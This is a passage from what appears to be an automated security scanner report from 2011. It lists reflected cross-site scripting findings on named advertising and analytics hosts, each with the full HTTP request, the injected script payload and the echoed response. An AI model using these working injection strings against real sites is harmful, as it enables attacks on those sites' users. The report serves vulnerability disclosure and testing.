qDKIS0y-D3H8kAPjeIydjzyH2Ws7PKyE1dGY4WEg1BMpUBtxwX2H-7BKKuqPq2iSXQ7keQevoGn3niEhwrkx3I523rYfTIHt_4ntge3wT6HrPHWBJpD6Hr91CxZq9sV9Jmp33y8raIDjGaQc_8c0sEToR_ODvxgcgJ32KFhukOoA2cRquiPMf-CiwpIi4ayv6yWP-tXJ__VAnBFQL8j9ZaHEtyQCLoYLPIaWZ3CmWGBp_xNH3WlqbXOyrf_ATBbMNQCTCxOAxrjPhFf5rtBKDWKm24urmdIW_ZXAbYCZmLsz6YiVpaNRjSC9cVWjph0vEeVDn94cCqpnjE0z1BuYxXU6aN8KvfgQRgY4ZaCnGHk-ja9faWwfL-_-bPH3YFMHRKzulr4fOZJphXH_Th5iLN0VczjS8Jh9TEFyiFtC1iUdTIWwbUQ3HeHZgtn1yA0PmWEs3TAjOPMDh8jx0WcV7eT-TG33S7CRXLm9kG5yXyNmxCrzJ; fc=8Kodsw1QIRNJBnpSjhgJ0uErbJkTJYsNaCBFpaSI5yP-4Y1aL5T0hqj7dZyIiRNIWMZgDtcnKM_xOWbKnaMIO3_WyzVPxgN3VkTg_cPuFqziwJJKZupkpjfaBrjFc6z7RfOX1MD02-o6SZ1b0c_HcUiZ1Q4B83ZCB0ZNq2R2Ygc; pf=vcPDWdxa5bRnzYCFna8dt7hwFpEjJFamBf-ed9eCgkru2q8_Jo62qDoNU1sRcsTDbsXLbP8cgvu5kdFpiCdvW34lLZyvKs0UYrWi2iSsDx65o3Pzwoz6403H7SSItm-xFnOkZRhnTAf1OsSeg86x6N9he2SzgZbMiSxi7XoC0oDOTz_hW1W1inw2PPTXkr5M6IAD_gZxI523_TIIsV7tK-AIolHB94EOuCprrHzPsXFXUf33lMkSWcP-I3s4DQm5; uid=3011330574290390485; rrs=1%7C2%7C3%7C4%7Cundefined%7C6%7C7%7C8%7C9%7C1001%7C1002%7C1003%7C10%7C1004%7C1005; rds=14987%7C15011%7C15011%7C15012%7Cundefined%7C15011%7C15011%7C15011%7C15011%7C15011%7C15011%7C15011%7C14983%7C15011%7C15003; rv=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: policyref="http://ad.turn.com/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV"
Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0
Pragma: no-cache
Set-Cookie: uid=3011330574290390485; Domain=.turn.com; Expires=Sat, 06-Aug-2011 02:33:21 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Mon, 07 Feb 2011 02:33:20 GMT
Content-Length: 377

<html>
<head>
</head>
<body>
<iframe name="turn_sync_frame" width="0" height="0" frameborder="0"
   src="http://cdn.turn.com/server/ddc.htm?uid=3011330574290390485&rnd=4570044593317657583&fpid=933c7"><script>alert(1)</script>c46c0426e93&nu=n&t=&sp=n&purl="
   marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true"
   scrolling="no">
...[SNIP]...

3.48. http://admeld.lucidmedia.com/clicksense/admeld/match [admeld_adprovider_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://admeld.lucidmedia.com
Path:	/clicksense/admeld/match

Issue detail

The value of the admeld_adprovider_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 482b7'%3balert(1)//1faf0348dc7 was submitted in the admeld_adprovider_id parameter. This input was echoed as 482b7';alert(1)//1faf0348dc7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /clicksense/admeld/match?admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d5556&admeld_adprovider_id=73482b7'%3balert(1)//1faf0348dc7&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: admeld.lucidmedia.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045601273&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3Fign105ab01%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E958cbd566d4&refer=
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 2=2r4Mi92x-Y-; 1609092=00000000001

Response

HTTP/1.1 200 OK
Cache-control: no-cache, no-store
Content-Type: text/plain
Date: Mon, 07 Feb 2011 02:26:28 GMT
P3P: CP=NOI ADM DEV CUR
Pragma: no-cache
Server: Apache-Coyote/1.1
Set-Cookie: 2=2r4Mi92x-Y-; Domain=.lucidmedia.com; Expires=Tue, 07-Feb-2012 02:26:28 GMT; Path=/
Set-Cookie: 1609092=00000000001; Domain=.lucidmedia.com; Expires=Tue, 07-Feb-2012 02:26:28 GMT; Path=/
Content-Length: 192
Connection: keep-alive

document.write('<img height="0" width="0" style="display: none;" src="http://tag.admeld.com/match?admeld_adprovider_id=73482b7';alert(1)//1faf0348dc7&external_user_id=3297869551067506954"/>');

3.49. http://admeld.lucidmedia.com/clicksense/admeld/match [admeld_callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://admeld.lucidmedia.com
Path:	/clicksense/admeld/match

Issue detail

The value of the admeld_callback request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f8e99'%3balert(1)//df4307a598c was submitted in the admeld_callback parameter. This input was echoed as f8e99';alert(1)//df4307a598c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /clicksense/admeld/match?admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d5556&admeld_adprovider_id=73&admeld_call_type=js&admeld_callback=http://tag.admeld.com/matchf8e99'%3balert(1)//df4307a598c HTTP/1.1
Host: admeld.lucidmedia.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045601273&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3Fign105ab01%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E958cbd566d4&refer=
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 2=2r4Mi92x-Y-; 1609092=00000000001

Response

HTTP/1.1 200 OK
Cache-control: no-cache, no-store
Content-Type: text/plain
Date: Mon, 07 Feb 2011 02:26:31 GMT
P3P: CP=NOI ADM DEV CUR
Pragma: no-cache
Server: Apache-Coyote/1.1
Set-Cookie: 2=2r4Mi92x-Y-; Domain=.lucidmedia.com; Expires=Tue, 07-Feb-2012 02:26:31 GMT; Path=/
Set-Cookie: 1609092=00000000001; Domain=.lucidmedia.com; Expires=Tue, 07-Feb-2012 02:26:31 GMT; Path=/
Content-Length: 192
Connection: keep-alive

document.write('<img height="0" width="0" style="display: none;" src="http://tag.admeld.com/matchf8e99';alert(1)//df4307a598c?admeld_adprovider_id=73&external_user_id=3297869551067506954"/>');

3.50. http://ads.adxpose.com/ads/ads.js [uid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.adxpose.com
Path:	/ads/ads.js

Issue detail

The value of the uid request parameter is copied into the HTML document as plain text between tags. The payload 543f1<script>alert(1)</script>501477c8a8d was submitted in the uid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ads/ads.js?uid=amRZRPmRXMjwy5CP_1630363543f1<script>alert(1)</script>501477c8a8d HTTP/1.1
Host: ads.adxpose.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/177/ignus/300x250/ign_front?t=1297040536334&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fcheats.ign.com%2F%3F7cd43%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ebc6f5a7fbe9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: evlu=ddad3821-ec58-4641-be95-961ec5aac4d2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A0C863B2E23E60DAB8555153C303FBD7; Path=/
ETag: "0-gzip"
Cache-Control: must-revalidate, max-age=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM"
Content-Type: text/javascript;charset=UTF-8
Vary: Accept-Encoding
Date: Mon, 07 Feb 2011 01:03:45 GMT
Connection: close

if(typeof __ADXPOSE_CONTAINERS__==="undefined"){__ADXPOSE_CONTAINERS__={}}if(typeof __ADXPOSE_EVENT_QUEUES__==="undefined"){__ADXPOSE_EVENT_QUEUES__={}}if(typeof __adxpose__getOffset__==="undefined"){
...[SNIP]...
E_LOG_EVENT__("000_000_3",b,i,"",Math.round(V.left)+","+Math.round(V.top),L+","+F,z,j,k,s,P)}}q=n.inView}}}if(!__ADXPOSE_PREFS__.override){__ADXPOSE_WIDGET_IN_VIEW__("container_amRZRPmRXMjwy5CP_1630363543f1<script>alert(1)</script>501477c8a8d".replace(/[^\w\d]/g,""),"amRZRPmRXMjwy5CP_1630363543f1<script>
...[SNIP]...

3.51. http://ads.bluelithium.com/st [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.bluelithium.com
Path:	/st

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 85eca"-alert(1)-"6337c1d9bd9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /st?ad_type=iframe&ad_size=1x1&section=1678185&admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d5556&admeld_dataprovider_id=11&admeld_callback=http://tag.admeld.com/pixel&85eca"-alert(1)-"6337c1d9bd9=1 HTTP/1.1
Host: ads.bluelithium.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/177/ignus/300x250/ign_front?t=1297040536334&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fcheats.ign.com%2F%3F7cd43%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ebc6f5a7fbe9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:04:26 GMT
Server: YTS/1.18.4
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Cache-Control: no-store
Last-Modified: Mon, 07 Feb 2011 01:04:26 GMT
Pragma: no-cache
Content-Length: 5050
Age: 0
Proxy-Connection: close

<html><head></head><body><script type="text/javascript">/* All portions of this software are copyright (c) 2003-2006 Right Media*/var rm_ban_flash=0;var rm_url="";var rm_pop_frequency=0;var rm_pop_id=0;var rm_pop_times=0;var rm_pop_nofreqcap=0;var rm_passback=0;var rm_tag_type="";rm_tag_type = "iframe"; rm_url = "http://ads.bluelithium.com/imp?85eca"-alert(1)-"6337c1d9bd9=1&Z=1x1&admeld_callback=http%3a%2f%2ftag.admeld.com%2fpixel&admeld_dataprovider_id=11&admeld_user_id=6acccca4%2dd0e4%2d464e%2da824%2df67cb28d5556&s=1678185&_salt=4252970181";var RM_POP_COOKIE_NAME='ym
...[SNIP]...

3.52. http://au.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://au.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66893"-alert(1)-"f7383b9f650 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?66893"-alert(1)-"f7383b9f650=1 HTTP/1.1
Host: au.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:11:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:11:24 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-971151739-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:11:23 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041083649v-1n-12mc+1297041083649mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 184138

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Video Games, Cheat
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://au.ign.com/?66893"-alert(1)-"f7383b9f650=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.53. http://au.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://au.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c49dc"><script>alert(1)</script>ff0d8373217 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?c49dc"><script>alert(1)</script>ff0d8373217=1 HTTP/1.1
Host: au.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:11:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:11:12 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-1049822303-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:11:07 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041067781v-1n-12mc+1297041067781mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 184215

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Video Games, Cheat
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://au.ign.com/?c49dc"><script>alert(1)</script>ff0d8373217=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.54. http://b.scorecardresearch.com/beacon.js [c1 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c1 request parameter is copied into the HTML document as plain text between tags. The payload 9ae6f<script>alert(1)</script>fb23142505d was submitted in the c1 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=39ae6f<script>alert(1)</script>fb23142505d&c2=6035537&c3=4732978&c4=40554329&c5=56586626&c6= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://delb.opt.fimserve.com/adopt/?r=h&l=10000001&pos=leaderboard&rnd=167275655
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=1f00d615-24.143.206.88-1294170954

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Mon, 14 Feb 2011 00:56:26 GMT
Date: Mon, 07 Feb 2011 00:56:26 GMT
Connection: close
Content-Length: 3603

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
MSCORE.purge=function(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"39ae6f<script>alert(1)</script>fb23142505d", c2:"6035537", c3:"4732978", c4:"40554329", c5:"56586626", c6:"", c10:"", c15:"", c16:"", r:""});

3.55. http://b.scorecardresearch.com/beacon.js [c10 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c10 request parameter is copied into the HTML document as plain text between tags. The payload bc307<script>alert(1)</script>c7e2144cf48 was submitted in the c10 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=8&c2=6135404&c3=18&c4=13378&c5=&c6=&c10=3189128bc307<script>alert(1)</script>c7e2144cf48&c15= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://delb.opt.fimserve.com/adopt/?r=h&l=22002200&pos=leaderboard&rnd=316990301
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=1f00d615-24.143.206.88-1294170954

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Mon, 14 Feb 2011 02:17:50 GMT
Date: Mon, 07 Feb 2011 02:17:50 GMT
Connection: close
Content-Length: 3594

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"8", c2:"6135404", c3:"18", c4:"13378", c5:"", c6:"", c10:"3189128bc307<script>alert(1)</script>c7e2144cf48", c15:"", c16:"", r:""});

3.56. http://b.scorecardresearch.com/beacon.js [c15 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c15 request parameter is copied into the HTML document as plain text between tags. The payload f4867<script>alert(1)</script>f5db88b0abc was submitted in the c15 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=8&c2=6135404&c3=18&c4=13378&c5=&c6=&c10=3189128&c15=f4867<script>alert(1)</script>f5db88b0abc HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://delb.opt.fimserve.com/adopt/?r=h&l=22002200&pos=leaderboard&rnd=316990301
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=1f00d615-24.143.206.88-1294170954

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Mon, 14 Feb 2011 02:17:50 GMT
Date: Mon, 07 Feb 2011 02:17:50 GMT
Connection: close
Content-Length: 3594

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"8", c2:"6135404", c3:"18", c4:"13378", c5:"", c6:"", c10:"3189128", c15:"f4867<script>alert(1)</script>f5db88b0abc", c16:"", r:""});

3.57. http://b.scorecardresearch.com/beacon.js [c2 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c2 request parameter is copied into the HTML document as plain text between tags. The payload c2ee2<script>alert(1)</script>bd3b80d854e was submitted in the c2 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=3&c2=6035537c2ee2<script>alert(1)</script>bd3b80d854e&c3=4732978&c4=40554329&c5=56586626&c6= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://delb.opt.fimserve.com/adopt/?r=h&l=10000001&pos=leaderboard&rnd=167275655
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=1f00d615-24.143.206.88-1294170954

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Mon, 14 Feb 2011 00:56:26 GMT
Date: Mon, 07 Feb 2011 00:56:26 GMT
Connection: close
Content-Length: 3603

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
unction(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"3", c2:"6035537c2ee2<script>alert(1)</script>bd3b80d854e", c3:"4732978", c4:"40554329", c5:"56586626", c6:"", c10:"", c15:"", c16:"", r:""});

3.58. http://b.scorecardresearch.com/beacon.js [c3 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c3 request parameter is copied into the HTML document as plain text between tags. The payload 9dc11<script>alert(1)</script>92bb80ca587 was submitted in the c3 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=3&c2=6035537&c3=47329789dc11<script>alert(1)</script>92bb80ca587&c4=40554329&c5=56586626&c6= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://delb.opt.fimserve.com/adopt/?r=h&l=10000001&pos=leaderboard&rnd=167275655
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=1f00d615-24.143.206.88-1294170954

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Mon, 14 Feb 2011 00:56:26 GMT
Date: Mon, 07 Feb 2011 00:56:26 GMT
Connection: close
Content-Length: 3603

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"3", c2:"6035537", c3:"47329789dc11<script>alert(1)</script>92bb80ca587", c4:"40554329", c5:"56586626", c6:"", c10:"", c15:"", c16:"", r:""});

3.59. http://b.scorecardresearch.com/beacon.js [c4 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c4 request parameter is copied into the HTML document as plain text between tags. The payload 3c4c3<script>alert(1)</script>6d16a689337 was submitted in the c4 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=3&c2=6035537&c3=4732978&c4=405543293c4c3<script>alert(1)</script>6d16a689337&c5=56586626&c6= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://delb.opt.fimserve.com/adopt/?r=h&l=10000001&pos=leaderboard&rnd=167275655
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=1f00d615-24.143.206.88-1294170954

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Mon, 14 Feb 2011 00:56:26 GMT
Date: Mon, 07 Feb 2011 00:56:26 GMT
Connection: close
Content-Length: 3603

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"3", c2:"6035537", c3:"4732978", c4:"405543293c4c3<script>alert(1)</script>6d16a689337", c5:"56586626", c6:"", c10:"", c15:"", c16:"", r:""});

3.60. http://b.scorecardresearch.com/beacon.js [c5 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c5 request parameter is copied into the HTML document as plain text between tags. The payload ae4e2<script>alert(1)</script>f3f65b08d45 was submitted in the c5 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=3&c2=6035537&c3=4732978&c4=40554329&c5=56586626ae4e2<script>alert(1)</script>f3f65b08d45&c6= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://delb.opt.fimserve.com/adopt/?r=h&l=10000001&pos=leaderboard&rnd=167275655
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
